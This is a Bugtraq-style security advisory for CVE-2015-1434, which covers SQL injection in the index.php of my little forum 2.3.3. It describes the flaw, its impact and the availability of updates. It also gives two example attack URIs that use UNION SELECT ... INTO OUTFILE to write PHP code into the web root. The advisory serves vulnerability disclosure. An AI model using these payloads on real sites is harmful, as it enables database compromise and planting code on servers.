my little forum 'index.php' Multiple SQL Injection Vulnerabilities

Bugtraq ID:	72575
Class:	Input Validation Error
CVE:	CVE-2015-1434
Remote:	Yes
Local:	No
Published:	Feb 11 2015 12:00AM
Updated:	Feb 11 2015 12:00AM
Credit:	High-Tech Bridge Security Research
Vulnerable:
Not Vulnerable:

my little forum 'index.php' Multiple SQL Injection Vulnerabilities

my little forum is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

An attacker can exploit these issues to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

my little forum 2.3.3 is vulnerable; other versions may also be affected.

my little forum 'index.php' Multiple SQL Injection Vulnerabilities

An attacker can exploit these issues using a browser.

The following example URIs are available:

http://www.example.com/index.php?mode=admin&action=user&letter=' UNION SELECT '<? phpcode() ?>' INTO OUTFILE '/var/www/file.php'

http://www.example.com/index.php?mode=admin&edit_category=' UNION SELECT 1,2,3,'<? phpinfo() ?>' INTO OUTFILE '/var/www/file.php' --

my little forum 'index.php' Multiple SQL Injection Vulnerabilities

Solution:
Updates are available. Please see the references or vendor advisory for more information.

my little forum 'index.php' Multiple SQL Injection Vulnerabilities

References:

• My Little Forum Home Page (My Little Forum)